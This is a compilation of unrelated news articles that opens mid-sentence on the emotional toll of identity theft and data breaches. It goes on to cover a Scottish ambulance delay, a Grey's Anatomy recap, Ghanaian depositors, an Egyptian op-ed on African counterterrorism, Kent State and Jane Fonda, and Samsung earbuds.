being exploited was sometimes just as traumatic as the reality of it happening, she says. Employees were referred to short-term counseling to help them cope, whether they were just rattled by the breach or were overwhelmed unwinding the damage. Unfortunately these types of incidents when they happen to some people can cause secondary trauma, Howard says. They may think about another time when they were violated, so it gets compounded. Crisis management professional Terri Howard says that, after the Target data breach in 2013, calls about cyber attacks escalated. In the midst of crisis, Amy Krebs found a novel way to cope. She started a blog on identity theft. Armed with her social security number and maiden name, the identity thief who went after Krebs in 2013 opened up more than 50 accounts. Hundreds of hours went into unraveling the mess. The nightmare spreadsheet she created to document each new incident has 500 entries. There wasnt enough time in the day, says Krebs, 41, who skipped dinners or movies out, unable to take a break for an hour or two as her imposter opened account after account. The relentless calls from collection companies grated. Krebs had always been prompt with payments and cautious in her finances. Even years later, she still gets unpleasant reminders. Catalogs from stores shes never frequented. Security questions at her bank that she doesnt know because they were answered by the person who pretended to be her. I have to prove myself again and again, she says. That is emotional and frustrating. And that feeling has not gone away, from the time I found out I was victim to today. Krebs doesnt know how her identity was stolen but the person was eventually apprehended by police and pleaded guilty to identity theft. After the conviction, Krebs started the AKA Jane Doe blog to show people how to protect themselves from identity theft and to steer them to the right resources if they, like her, had become victims. The blog has been both therapeutic and empowering, she says, restoring some of the control she felt she lost when her identity was stolen. It has been a great release for me, Krebs says. It was an opportunity to put my voice out there and a way to protect myself should anyone else come after me saying I owed something. Tips for coping with cyber crime Howard says victims should monitor their mental health the way they do their credit reports. Talk about it. Unfortunately because these hacks are occurring so frequently, I dont think people are as engaged as they should be in talking about the ramifications, Howard says. Surround yourself with supportive people. Talk to a friend, a family member or your pastor or rabbi. Its important that people are allowed to voice whats happening to them, she says. Take back control . Keep a journal of every call you make, letter you receive, every action you take to fix what's happened. Practice self-care . Being the victim of a cyber crime is like being the victim of an assault. Give yourself a break. Don't blame yourself. Depending on the type of victimization, the victim can go into stages of grief, suffer from anger or rage," Bada says. "In some cases, victims may even blame themselves and develop a sense of shame." Consider professional help . Get some counseling through your company's employee assistance program or privately. Contact a victims assistance group such as the Identity Theft Resource Center. This article originally appeared on USA TODAY: Depression, anxiety: The toll data breaches take on your mental health A pensioner was left lying on the floor for five hours unable to move with a suspected broken hip while waiting for an ambulance. John McCallum, 74, was doing physiotherapy exercises in his home in Leith, Edinburgh, when he fell at 10am on Thursday. The pensioner, who has previously had a stroke, was left in such severe pain that he could not move. His partner, Jane Clarke, dialled 999 at 10.30am - but an ambulance did not show up until 3.20pm, despite the nearest ambulance depot being just three miles away. John McCallum, 74, was left lying on the floor for five hours unable to move with a suspected broken hip while waiting for an ambulance The Scottish Government described the wait as 'completely unacceptable'. It urged the Scottish Ambulance Service to launch an 'urgent investigation', and said 'lessons must be learnt'. Jane said: 'We had this call from a paramedic in Glasgow and they don't want to talk to you, they just read from a script and get a yes or no. 'I am a human being and I am distressed because he is distressed.' She had to provide a bottle for John to urinate into as he could not move. He was doing physiotherapy exercises in his home in Leith, Edinburgh, when he fell at 10am on Thursday His partner, Jane Clarke, dialled 999 at 10.30am - but an ambulance did not show up until 3.20pm, despite the nearest ambulance depot being just three miles away Jane added: 'I am really annoyed that you have to put up with this service because somewhere along the line somebody has to be responsible and answer for it. 'For the SNP it is Westminster's fault, and for Westminster it is the SNP's fault. 'No-one seems to take responsibility for anything. 'It is symptomatic of our health system. 'I am not blaming the ambulance service, they just don't have enough people. 'Five hours is unacceptable for someone his age to be lying on the floor.' A spokesman for the Scottish Government said: 'We're very sorry for the distress suffered by Mr McCallum and his family. A spokesman for the Scottish Government said: 'We're very sorry for the distress suffered by Mr McCallum and his family' 'The delay in this case is completely unacceptable and the Health Secretary expects the Scottish Ambulance Service to provide a full explanation for this delay to her and to Mr McCallum's family. 'The service will rightly be contacting Mr McCallum to apologise and will also be carrying out an urgent investigation to ensure lessons learned from this case are applied across the Service. 'The service is currently carrying out a national review of demand and capacity which will help to ensure they are working as efficiently as possible and have resources in place to meet both current and projected future demand across Scotland.' A spokesman for the Scottish Ambulance Service said: 'We are very sorry for the delay in responding to this patient. 'We always aim to triage patients so that those with life-threatening conditions receive the most rapid response. 'We will be investigating the circumstances fully.' Greys Anatomy A Diagnosis Season 16 Episode 14 Editors Rating 4 stars * * * * Previous Next Photo: Gilles Mingasson/ABC Holy hell, is Grey Sloan Memorial a depressing place to be these days. I know thats like saying the sky is blue and the grass is green, but they really kicked things up a notch in A Diagnosis. Everyone is breaking up or getting diagnosed with a serious mental health issue or having to listen to Jo Karev say the words, I would jump in front of a bear for you, Alex with a straight face. Things are dire. Lets start with Andrew DeLuca because friends, this man is very unwell. He and Dr. Riley took Suzanne off of all her medication three days ago (she, too, is extremely unwell like bleeding from the mouth unwell) and he hasnt slept since. He isnt eating. He barrels into a conversation between Meredith and Cormac and starts badgering Mer at hyperspeed about patients of hers from years ago. He needs answers! Now! This is not the Andrew DeLuca we know and love. Or is it? Because you know who shares Merediths concern for whats happening with Andrew? Lady DeLuca. Carina admits to Meredith that shes been worried about her brother for a while. Hes the same age as their bipolar father was when he first started exhibiting symptoms. Meredith wants to believe its just that hes too involved with this patient, but then Carina starts listing off examples of Andrew having super lows remember when Bello had to leave or get deported and he became the sad man playing guitar on Merediths couch? and extreme manic episodes. You know, like right now. Carina also tells Mer that a symptom of bipolar disorder is complete unawareness or disregard for consequences of your actions. Like, say, taking the blame for your girlfriends insurance fraud, going to prison, and throwing your entire career away. I would find it hard to believe that Greys had planned this since Sams departure in season 14, but still, it isnt the worst retcon weve seen. Our DeLuca! By now, in season 16, Im well aware that we, the dedicated Greys Anatomy audience, cannot have nice things, and yet still I somehow feel blindsided by this development. Now I am unwell! Meredith takes these concerns under consideration and goes to see Bailey. They decide they need to take DeLuca off the case and put Meredith in charge. Bailey is the one to inform DeLuca of this change and it does not go well. He stops short of saying anything too damaging to his career, but when Bailey tells him that Meredith is going to put Suzanne back on her medication and negate anything he and Riley have done, boy does he get close. Hes beside himself and still hasnt slept when he goes to see Riley as shes leaving. Theres no point in her staying if theyre not following her methods. But a miracle happens: DeLuca gets the results of one final test they had done on Suzanne before they lost control of their patient, and behold a diagnosis! Suzannes white blood cells are eating her other blood cells, which sounds awful, but leads them to the conclusion that she is suffering from the very rare Stills disease. All of her symptoms fit! But if they dont give her a high dose of steroids immediately, her organs could start shutting down. So, DeLuca and Riley barge into Suzannes room while Meredith is in there, refuse to explain anything, there is so much yelling, and then DeLuca injects Suzanne with the steroids. Meredith is LIVID. If DeLucas wrong, Suzanne could die. Hes not wrong. Suzanne immediately starts to get better. Stills disease cant be cured, but it can be managed. They saved her life. But that doesnt change the fact that DeLuca was out of control. The two of them get into it in front of everyone. Meredith tells him that he couldve taken a moment to tell her what he was going to do. Hes not in the right state of mind to be dealing with patients. And, friends, DeLuca goes off. All about how he was right and he pulled off this incredible diagnosis. You know, delusions of grandeur that sound just like DeLucas fetus-in-a-sac dad. And when Meredith points that out? DeLuca tells her he doesnt need her. Theyre over. Listen, Im very sad for DeLuca and what hes about to go through, but Im also very excited for us because we need no, we deserve that! drama! Believe it or not, there is someone else in the hospital exhibiting some concerning symptoms that point to a much bigger problem. Webber just hasnt been the same since he returned to Grey Sloan. Bailey gives him the gift of molding young interns into top-notch surgeons, but it does nothing for him. He barely pays attention to them in the skills lab and then he lets them go home early. Bailey finds him sitting alone outside and decides its time to have a real chat. Webber explains that he just doesnt have it in [him]. This all feels like Catherine won and this is his punishment. Bailey is desperate, she just wants to know how she can help him. Help me help you! she doesnt yell, but I do in my head. Im just tired. Bone tired, he responds. When Bailey tells him that it sounds a lot like depression, he says hell be okay and walks off. Now, we all know that when a person who was just mulling life over on an empty bench says Ill be okay, they only mean that like 12 percent of the time. Bailey is on to something, and it is going to be awful. Hey! Who else in Seattle is ready to bum us out? Just close your eyes and spin around and youll find someone. How about Amelia Shepherd? She is spending the day in bed, spiraling. She wont respond to any of Links texts, which is insanely rude considering that they live in the Accidental Death Capital of the World. She plans on hiding until she figures out what to do about her baby-daddy situation. Thankfully, Maggie will not let this stand. She knows Amelia, and she knows she shouldnt be allowed to sit in a room alone, hyperventilating until she throws up. Amelia needs to talk it out. Maggie tries to explain where Link might be coming from that if she were him and knew Amelia and Owens history, she would want a paternity test too, because shed be scared that this could reignite things with Owen. Maggie tries to see things from Amelias point of view, too, and knows that she must be overwhelmed by hormones and fear and just want to feel loved. You guys, you know how I feel about Amelia and even I was moved by this scene of sisterhood. I mean, the outcome of this storyline is still awful, but that scene is magic. You see, Link finally comes by the house to find out where Amelia is. Maggie stalls, but eventually Amelia descends down the stairs and informs Link that she wants her son to be raised by people who love him no matter who he is. So, shes not getting the test and shes dumping Link. Heres the thing: Of course Amelia deserves to be loved by someone unconditionally, and yes, she is definitely hormonal and scared, but Links right to immediately ask aloud if shes ever going to tell Owen he might be the father. Owen stinks, but if that kid is his, he deserves to know! Anyway, I cant believe were still talking about this whole mess. The O.R. Board Ooowee, guys. There was an actual bear attack over on Station 19! While camping, a poor schmuck named Scott jumps in front of a bear to save his wife, Rachel, and theyre both brought to Grey Sloan. Jo learns that Rachel is cheating on Scott and was planning on telling him, but Scott dies from his injuries. Rachel is beside herself and so is Jo, apparently. She frantically calls Alex, who is still ignoring her, and demands that he call her back and tell her whats going on. She doesnt care what it is, she just needs to know the truth. Well, we all do, Josephine. Another person affected by this bear attack: Jackson! He was camping with the Station 19 crew when it happened and is Scotts doctor, so this hits him hard. He shows up at Maggies door to finally apologize for straight-up just leaving her in the woods. He knows he shouldve done it a long time ago, but was too proud. Bless this bear! No offense, Scott. Friends, I hooted when Dr. Riley tried to ream out Meredith for being both DeLucas boss and girlfriend and how that makes things muddy. GIRL, HAVE YOU EVER SEEN THIS SHOW? We live in the mud. Well, well, well, Cormac Hayes ALSO speaks Italian. Two couples bit the dust and another one is dangerously close: Nico doesnt want Schmitt to meet his parents because, well, Nico hasnt come out to them yet. After enduring Nico making a stink about not wanting to date someone who wasnt out when they first met, Schmitt is angry. Yes, Cormac and Bailey reuniting Joey with his foster siblings for a pizza party made my heart melt, but can we get to the part where Bailey and Ben adopt this kid already? You know its coming! Okay, but seriously, whats going on with Alex? After DeLucas huge blowup, Meredith texts her friend. She needs him. In response, Meredith gets the three dots of death and then no response at all. Intern Perez, you sweet, bumbling angel: Good night, Chief Bailey! Youre an icon! Some customers whose monies have been locked up as a result of the collapse of some Savings and Loans companies and microfinance firms are not convinced that they will be given their monies soon despite promises by President Akufo-Addo. President Akufo-Addo on Thursday reiterated his governments resolve to give back customers of the defunct institutions their locked up monies beginning Monday, February 24, 2020. I am informed that the Receiver of the Savings and Loans and the Microfinance institutions will on Monday 24th February [2020], begin making payments to their customers, [with] these monies totalling GH5 billion being in addition to the GH13 billion being paid to the customers of the failed banks, Akufo-Addo said when he delivered the State of the Nation Address in Parliament on Thursday, February 20, 2020. I will like to repeat that all depositors of the savings and loans and Microfinance institutions including DKM which collapsed in 2015, will receive a 100% of their deposits once the validation exercise is concluded, the President added. But the customers say several assurances had failed to yield positive results hence they dont believe this recent promise. One of the leaders of the Coalition of Affected Savings and Loans Customers, Kofi Sarpong in a Citi News interview urged the government to release a roadmap for the payments. First and foremost, we want to thank the President for his bold decision. It's a bold decision he has taken but I want to say that we are not satisfied and we even believe that the president is deceiving us. The honest truth is that on 24th December 2019, the President said that he was going to pay us 100% for which we all applauded him for that and secondly, the Vice President also echoed that and the Finance Minister also said we are going to be paid in full. This means that almost all the top hierarchy in terms of finance haD given us the assurance and from then till now, it's almost two months and we have not seen any plan by the Bank of Ghana, the Ministry of Finance or the Receiver. So we want to plead with the President that, if he wants to really pay us, this time, we want to see evidence, Kofi Sarpong stated. Background The Bank of Ghana revoked the licenses of some twenty-three (23) insolvent savings and loans companies and finance houses in 2019. The central bank in a statement on Friday, 16th August 2020, said the revocation of the licenses of these institutions was necessary because they were insolvent even after they were given a reasonable period of time to recapitalize. The Bank of Ghana also appointed Mr. Eric Nipah as a Receiver for the specified institutions in line with section 123 (2) of Act 930. The government had given some assurances about payment of the monies to the depositors with unmet deadlines, for this reason, the coalition doubts of payment by the government. Locked up cash The collapse of a number of financial institutions led to their collapses and left clients in distress. President Nana Akufo-Addo had assured depositors whose funds were locked up in collapsed microfinance institutions and savings and loans companies that will have their monies paid back to them. Nana Akufo-Addo said he has been meeting the Finance Minister and the Governor of the Central Bank to address the issues of depositors. Both the Finance Minister and the governor of the Bank of Ghana were with me yesterday we are continuing to work out how quickly we can meet the commitment to ensure that everybody's monies are refunded. President Akufo-Addo gave similar assurances in December 2019 during his Christmas message to Ghanaians. He assured that they will get 100 percent of their deposits. Thus far, the Ministry of Finance and the Bank of Ghana have worked together to guarantee payments of 100% of deposits of customers of the failed banks which is being done. I have directed the Ministry of Finance to work with the Bank of Ghana to ensure that same applies to customers of microfinance and Savings and Loans Companies whose licenses have been revoked, he said. But almost two months on, the promise is yet to be fulfilled. ---citinewsroom Bodyguard and Line of Duty creator Jed Mercurio has joined forces with new writer Daniel Brierley to produce an ITV thriller about a London police bomb disposal squad. Starring Vicky McClure, Trigger Point is written by Brierley and produced by Mercurios HTM Television. Set in contemporary London, Trigger Point, is a six-part thriller series focusing on the Metropolitan Police Bomb Disposal Squad. McClure (Line of Duty) will play Lana Washington, an experienced bomb disposal operative who has to deal with a series of improvised explosive devices which threaten the capital during a terrorist summer campaign and who becomes suspicious that the bomber is premeditatedly targeting her unit. Trigger Point has been commissioned for ITV by head of drama, Polly Hill, and will begin filming in London later this year. Hill commented: Trigger Point has you on the edge of your seat from the start. Its a brilliant script by Daniel and I cant believe this is his first commission. Im delighted to be working with Jed who knows better than anyone how to bring these thrillers to screen and Vicky is the perfect Lana. Mercurio will executive produce the drama alongside Jimmy Mulville, Mark Redhead and Jessica Sharkey for HTM Television, with Julia Stannard serving as producer. Boutique drama producer HTM Television is co-owned by Jed Mercurio and Hat Trick Productions, and supported by Hat Tricks business infrastructure. HTM Television is currently in production on Bloodlands for BBC One. Trigger Point is Brierleys debut television drama commission. He is a screenwriter with several short films to his credit including My Face Is In Space, Checkpoint and Graceland. He is part of the TV bursary scheme, funded by the industry body, ScreenSkills with UK based production company, Dancing Ledge, with the aim of encouraging top screenwriters to mentor an up-and-coming writer of their choice. Mercurio has chosen to mentor Daniel Brierley and Trigger Point is a direct result of the ScreenSkills scheme to develop new writing talent. Share this story Victoria will keep pushing to make the National Disability Insurance Scheme work, despite a blistering attack on the schemes performance by the state Disability Minister Luke Donnellan on Friday. Mr Donnellan said Victoria was forced to fund a mirror organisation to the NDIS just to get disabled people into services, even though the state paid $2.6 billion into the federal scheme this year. Loading As the bitter funding dispute between Victoria, NSW and the Commonwealth escalated on Friday, Mr Donellan said the federal agency running the scheme was so bad at service delivery. The federal government defended its handling of NDIS finances, accusing the Victorian and NSW governments of a "ridiculous" attempt to grab cash from the schemes coffers. Egypt has proposed a continental force to fight terrorism in Africa. Before it is too late, it is time for African leaders to heed the call and follow through Addressing the opening session of the 33rd African Union ordinary summit in Addis Ababa, Ethiopia, Egyptian President Abdel-Fattah Al-Sisi made a keynote announcement on finding more effective African solutions to African problems, most importantly the scourge of terrorism. Al-Sisi who handed over chairmanship of the continental body to South Africa after a year of intense Egyptian activities that culminated in putting into effect, at last, the African Free Trade Area Agreement, in a bid to further inter-African trade did suggest hosting a summit in Egypt for another effective mechanism in favour of a more stable Africa: a unified African force to be tasked with countering terrorism across the continent. The proposal is aimed at finding a sustainable means for confronting the mounting security challenges posed by terrorists, particularly in the Sahel and Sahara region, West of Africa and in Egypts western lawless neighbour, Libya. Egypts western frontier has recently seen an influx of foreign terrorists carried to Libyan shores by Turkey, particularly after the infamous accord signed unilaterally between the Tripoli-based government of Fayez Al-Sarraj, whose mandate based on the provisions of the Moroccan-sponsored Skhirat Agreement has already expired, and Turkish President Recep Tayyip Erdogan. The security deterioration in Libya serves as a direct threat, mostly to Egypts national security given the roughly 1200-kilometre-long border with Libya, but also to most Sahel and Sahara countries, let alone the African continent as a whole. Non-African powers are heavily meddling in the internal affairs of one of the top five financiers of the African Union (in 2005, AU member states decided that the top five big economies in Africa should contribute 75 per cent of total funding resources. The list comprises Libya, Nigeria, Algeria, South Africa and Egypt). This is at the time the continental bloc seems helpless in face of the imminent threat Turkey is posing to the stability and security of an important African nation, one which, under late leader colonel Muammar Gaddafi, hosted the famous Sirte Summit in 1999 that triggered the launch of the African Union to replace the Organisation of African Unity. President Al-Sisi suggested that the unified anti-terrorism force would fall under the Peace and Security Commission, the most powerful of all the eight commissions of the African Union because it is the only body that has the power to interfere, even militarily when needed, to maintain peace and security in all member states. Cairo is surely not looking for leadership out of the proposal; rather, for the creation of a less bureaucratic and more powerful mechanism to fight terrorism to the bitter end, particularly as it hits hard economies which cannot sustain the fight on their own, such as Niger, Chad, Burkina Faso, Mauritania and Mali. Those five nations formed together in 2017 the Group of Five for the Sahel. Still, they have not cleared the danger so far. As terrorist groups, affiliated with the Islamic State group, continue to attack police and army premises in Mali and Burkina Faso, one of the worst humanitarian crises has emerged in the Sahel region, leaving 1.5 million homeless. In January this year, UN Special Representative and Head of the UN Office for West Africa and the Sahel Mohamed Ibn Chambas briefed the UN Security Council on the alarming humanitarian crisis in the region. The most serious finding of the report he submitted to the council was that the continued attacks by terrorists on civilian and military targets have shaken public confidence. The latter is the ultimate target of terrorists and as a result people have left their homes and terrorist groups have gained more ground. The tally of casualties can further explain the situation. According to the UN envoy, a surge in casualties can be noticed in Mali, Niger and Burkina Faso, with the number doubling fivefold since 2016 from 770 deaths to 4,000 in 2019 alone. Mr Chambas has rung the bell, warning that terrorist attacks have greatly destabilised countries in West Africa. President Al-Sisis call is a quick response to the UN envoy on the need to take action now, because of the inability of governments there, be it finance or lack of qualified and well-trained personnel to finish the job, which threatens their very existence. Countries which have the means to stand up firmly in the face of terrorism, such as Egypt and Algeria, suffer from deadly terrorist attacks. They both understand the need for a joint action in sharing of information and high coordination, which can both be attained under a unified force. Moreover, studies have revealed that Africa is home to 64 active terrorist organisations, the most dangerous of which that have connections to the Islamic State group and Al-Qaeda are Al-Shabab in Somalia, Boko Haram in Nigeria and Al-Qaeda in the Islamic Maghreb. Al-Shabab is the main reason of instability in war-torn Somalia with endless attacks on AMISOM (the African Mission in Somalia) and government premises. The terrorist group is also active in Kenya, particularly in Garissa, the border town with Somalia and claimed responsibility for countless atrocities in the country. Boko Haram, the Nigerian Taliban, has been causing much mayhem in northern Nigeria, trying to impose an ultraorthodox version of Islam. Oddly enough, however, and while commenting on the call of the Egyptian president, Moroccan Foreign Minister Nasser Bourita burst onto the scene, speaking to Russian Sputnik on the proposal. Morocco, absent from joint African action for more than three decades only to come back in January 2017, said through Bourita that the country would prefer a common African vision in which all countries would participate independently but without being under the umbrella of a unified force militarily. All the concerns of Morocco and other AU member states can surely be discussed if they heed the call of the Egyptian president and put their cards on the table in good faith. A decisive win over terrorism needs more than a vision. It necessitates an end to living in ivory towers, forging realistic approaches so that African countries, plagued with terrorism, can fight hammer and tong. The creation of an African force tasked with countering terrorism would help solicit funds either from African coffers or from those powers concerned with realising peace and security in the continent. African peoples have suffered the most because of ethnic violence, outbreaks of epidemics, a lack of basic human needs, and foreign exploitation of natural and even manpower resources. Instability and insecurity owing to frequent acts of terrorism impedes African peoples from leading the better lives the untapped huge potentials of Mother Africa make possible. Instead of doubting and dawdling while lives are lost on a daily basis, African leaders have an opportunity to win the battle on terrorism. They need to set aside narrow differences and join ranks something the African Union has been struggling to realise for many years. When there is no security, there will never be development, and should African leaders not work on a powerful mechanism for sustainable peace, the African Union 2063 Agenda will never materialise. Real danger is engulfing the Sahel and Sahara region in particular as terrorists have remobilised there after they all but lost the battle in Syria and Iraq. They are seeking safe haven and given the unfortunate prevalence of radical thought among average Muslims in certain African nations, it will be easy for terrorists to recruit from young and the endless cycle of violence will never halt. In the absence of a powerful medium to confront terrorist groups, it may be a matter of time before the Islamic State group declares Africa its new caliphate! *The writer is a former press and information officer in Ethiopia and an expert on African affairs. *A version of this article appears in print in the 20 February, 2020 edition of Al-Ahram Weekly. Search Keywords: Short link: MIAMI - A top official for Venezuelan President Nicolas Maduros government has hired a Washington law firm that also represents Turkey, taking over from another legal team that backed out last month following an outcry from critics who accused it of collaborating with a repressive regime. Lawyer Bob Amsterdam declined to comment on the nature of work for Maduros Inspector General Reinaldo Munoz, other than saying it would focus on sanctions and human rights issues. He said Friday that the same U.S. sanctions on the Maduro government put strict limits on what he can say and do on behalf of his client. But he vigorously defended the decision of Amsterdam & Partners to represent Munoz, brushing aside calls from Florida Republican Sen. Rick Scott and others for lawyers to stay far away from Maduros brutal regime. We arent going to bend to the political dictates of Florida, Amsterdam said. But I dont like it when people are denied representation. This is the Maduro governments second attempt in less than a month to find a lobbyist who will go head to head with the Trump administration in pushing for dialogue and an end to sanctions. The previous firm, Foley & Lardner, backed out of a $12.5 million, five-month contract after Scott in a letter urged his Senate colleagues to boycott the firm. In a filing with the U.S. Justice Department on Friday, Foley said it had transferred to Amsterdam & Partners all funds - a little more than $1 million - it has received from its client. Foley had hired influential lobbyist Robert Stryk as part of its legal team, but it wasnt clear if the former congressional aide whose business has boomed under the Trump administration would also work with Amsterdam. When contacted Friday, Scott reiterated that he would not work with anyone who represents Munoz or Venezuela. Senator Scott will not stand for this, his office said in a statement. He will urge every one of his colleagues to stand with him against anyone who willingly represents a dangerous dictator. Foley & Lardner had agreed to represent Munoz and in turn hired influential lobbyist Robert Stryk, but faced steep criticism from Maduro critics. Amsterdam, a Canadian lawyer, heads a law firm with offices in Washington and London. In the past, it has represented a mix of repressive governments hostile to the U.S. as well as clients persecuted by authoritarian governments. Since 2015, hes assisted Turkey in seeking the extradition of a U.S.-based cleric and political enemy of President Recep Tayyip Erdogan. Turkeys government is a staunch economic and political ally of Maduro. Amsterdam has also represented exiled Russian businessman Mikhail Khodorkovsky, for which he said he was briefly arrested in Moscow by authorities loyal to President Vladimir Putin on the night the billionaire was sentenced to eight years in prison. He also represented former Thai Prime Minister Thaksin Shinawatra. A decade ago, he represented Venezuelan banker Eligio Cedeno, who had been accused of helping businessmen defraud the government of millions of dollars. Once freed on bail, he immediately fled to the U.S., where he remains in exile. In retaliation, then-President Hugo Chavez jailed the judge who signed his release. Trump has reiterated his support for Juan Guaido, the opposition leader recognized by nearly 60 nations as Venezuelas rightful leader, recently meeting with him in Washington and inviting him to the State of the Union address. But the opposition has struggled to revive momentum and draw supporters to the streets as Maduro maintains his grip on power. Several attempts at dialogue, including one last year sponsored by Norway, have fizzled. Meanwhile, the U.S. continues to pursue a strategy of economic pressure, hitting Russian-controlled Rosneft Trading S.A. and its president, Didier Casimiro, with aggressive financial measures designed to cut Maduro off from a lifeline. The largest gathering of credit unions in the country will kick off this weekend when CUNA hosts its annual Governmental Affairs Conference (GAC). Approximately 5,000 people are expected for the meeting at the Washington Convention Center. And for the first time, a little piece of history will also be visiting the meeting. Although CUNA and its state leagues host meetings in advance of the GAC itself, the conference officially launches on Sunday afternoon, beginning with a Small Credit Union Roundtable and first-time attendee orientation, before the first keynote address begins at 4 p.m. The opening keynote will be given by the portrait and documentary photographer who goes by the single name Platon. Platon has worked to promote inclusion and human rights around the world. GAC will include full days of keynote addresses and breakout sessions on Monday and Tuesday, with a half-day scheduled for Wednesday. Wednesday afternoon and Thursday will include the annual Hike the Hill effort by credit union representatives as they meet with their respective members of Congress. Talking about racism is important precisely because doing so makes us uncomfortable. When people share their experience with racism and hate, it helps us understand each other better and brings us closer to conceptualizing a more accurate version of our countrys history. As part of USA TODAYs 1619 Project, we collected personal stories from readers. The final installment of USA TODAYs 1619 Voices Project features three women who told us about their encounters with racism, and how they confronted and overcame it. In one instance, a reader told us how she learned about hateful crimes committed by her white ancestors. Were telling their stories because we want to create a dialogue, helping people understand why we avoid talking about race, said USA TODAY Washington correspondent Deborah Barfield Berry. We also want to show how confronting our discomfort can educate others and sometimes lead to healing, Berry said. More: Black History Month essay: I searched a continent a world away, hoping to find 'home' More: #SiliconValleySoWhite: Black Facebook and Google employees speak out on big tech racism More: Don't forget Justice Clarence Thomas in Black History Month celebrations Helen Owens, 57, of Banta, California, told us about how one instance of racism she experiences in childhood stayed with her for the rest of her life. It happened when a friends father said he didnt want his daughter to spend time with Helen anymore, because Helen is black. That was the worst thing that ever happened to me, in terms of being a little girl and hearing for the first time that someone really didnt want me around because my color, Owens said. Not because of my character, not because of the person I was, but because I was black. Helen Owens, shown middle right, shared stories of growing up in Hunters Point, in San Francisco, CA. She's pictured here at age 12. Helen said she thinks people dont like to talk about painful experiences such as hers because theyd rather not acknowledge that racism exists in daily life. People are afraid to talk about it because they dont want the issue to come up, Owens said. They dont want to be called out to say that I look at you different because of what you look like. Story continues People can also make harmful assumptions based on race, like inferring that someone doesnt belong in a particular place. Shelley Sumpter, 69, of Minneapolis, MN told us a story about how a woman assumed she and her family were in the wrong place due to their race. One day, when Shelleys family stopped to ask for directions on their way to the cemetery, a woman told them there were no black people buried there and that their family therefore couldnt be buried there. St. Mary's Cemetery, in Alexandria, MN, where Shelley Sumpter's family is buried. When we got there to the cemetery, she was shocked when we went to place the flowers, Sumpter said. Shelley told us that even though the woman wasnt kind to her at first, Shelley waited for her to see that she was wrong. Now, the two families are friends and keep in touch. Shelley said the woman and her husband place flowers on the graves belonging to Shelleys ancestors when she and her family cant make the trip. To show that were not forgotten, Sumpter said. Another reader learned how her white ancestor upheld the peonage system in early 20th century Georgia. When Mary Garvey, 71, of Long Beach, Washington learned that she is related to John S. Williams, an infamous murderer of black fieldhands, she wondered why her family never talked about it and felt ashamed. Now, Garvey says its her obligation to make sure shes honest about the true version of her familys history. Sometimes you have to open up wounds to actually let the sunlight in, so the healing can at least start Garvey tries to grapple with her familys past and with the countrys past as a whole. She tries to recognize the land that Americans took from Native Americans and wants to see more people acknowledge painful truths like her own family story. Helen Owens also says that people need to turn toward themselves so that a national healing process can begin. When people understand or theyre able to understand who they really are, not just from the outside, but form the inside, we all do better, Owens said. When we share stories about ourselves and our pasts, we get closer to understanding a truer and more accurate version of countrys history. To hear the full audio story featuring Mary Garvey, Helen Owens, and Shelley Sumpter, click here. In 2020, reparations are one way that people say we can acknowledge harmful truths about our past deeds. To learn more about the debate over reparations and the steps some groups are taking, read Deborah Barfield Berrys story about reparations, Antigua, and Brown University. Find more stories from USA TODAYs 1619 project at 1619.usatoday.com. For more black history content in February and beyond, visit the page at blackhistory.usatoday.com. This article originally appeared on USA TODAY: Three women's personal stories are helping re-tell black history Kent State University wont back down on its decision to bring Jane Fonda to speak during its 50-year commemoration of May 4, 1970. On 4 May, 1970, the National Guard fired on students at Kent State University during an anti-war protest, killing four students and injuring one. Ms Fonda was an outspoken anti-war activist at the time and became controversial for a photo of her perched atop a North Vietnamese anti-aircraft gun during a trip to Hanoi in 1972. Even today some people view her as traitorous for the photo and have called for the college to cancel her speech. The Columbus Dispatch reported that Kent State University responded to the criticism in a statement and made it clear it did not intend to cancel her appearance. We take to heart the painful feelings expressed by those for whom Fondas visit to Hanoi as a young activist in 1972 had a profound impact. We are equally moved by those who expressed their high regard for Fondas atonement after the incident and her lifelong activism in support of human rights and civil rights. Portraits from the frontlines of global protests Show all 14 1 /14 Portraits from the frontlines of global protests Portraits from the frontlines of global protests portrait-global-protest-14.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-11.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-9.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-7.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-10.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-6.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-5.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-8.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-12.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-3.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-2.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-4.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-13.jpg Reuters Portraits from the frontlines of global protests portrait-global-protest-1.jpg Reuters As the 50th Commemoration of May 4th approaches, we remain optimistic about the opportunity and responsibility we have to model for others the importance of reflecting on our past, learning from our mistakes and recognizing that tragedies borne of division have no place on a college campus or in a democracy, the statement said. The response comes after Ohio Secretary of State Frank LaRose issued a statement calling for Kent State University to rescind its offer to have Ms Fonda speak. There is still time to right this wrong @Kentstate - rescind your invitation to @JaneFonda. The anniversary of this tragedy is not the time to pay a speaker who betrayed our service members, Mr LaRose tweeted. In a longer statement posted to his Facebook account, Mr LaRose suggested Ms Fonda was a traitor. Whats not ok is providing aid and comfort to the enemy and willfully serving as a propaganda tool for those engaged in hostilities against the United States. And Ms Fonda did that - the very definition of treason, he wrote. Mr LaRose - who spent a decade in the US Army - did not comment on whether considering the feelings of service memebrs was an appropriate reason to cancel a speaker commemorating the murder of four students by the US military. Kent State University is paying Ms Fonda $83,000 for her speaking engagement. Ms Fonda said she plans to speak on her reflections from that era, her life as an activist and the legacy of the Kent State shootings. She will speak on 3 May at the university. The university is running special events from 1 May to 4 May and alongside Ms Fondas speech will feature panels, documentaries, other speakers and an annual candlelight march and silent vigil. Heres your first look at the Samsung Galaxy Buds+ in the upcoming red color. Samsung officially announced the Galaxy Buds+ at its Unpacked event back on February 11, and that the time it did announce the earbuds would be coming in red. This was alongside three other colors that included cosmic black, cloud blue, and white. At the time though Samsung hadnt shared any images of what the red pair looked like. So this image leak seems to be the first time that the earbuds have popped up. Advertisement You cant buy the red Galaxy Buds+ yet If youre a fan of this upcoming color and want to get your hands on a pair of your own, youll have to wait Thats because its not currently possible to buy the red pair of these truly wireless earbuds. It may not be long before they show up, but as it stands Samsungs web store only allows you to buy the black, white, or blue versions. When they do launch though, theyll launch at the same $150 price point as all three of the color 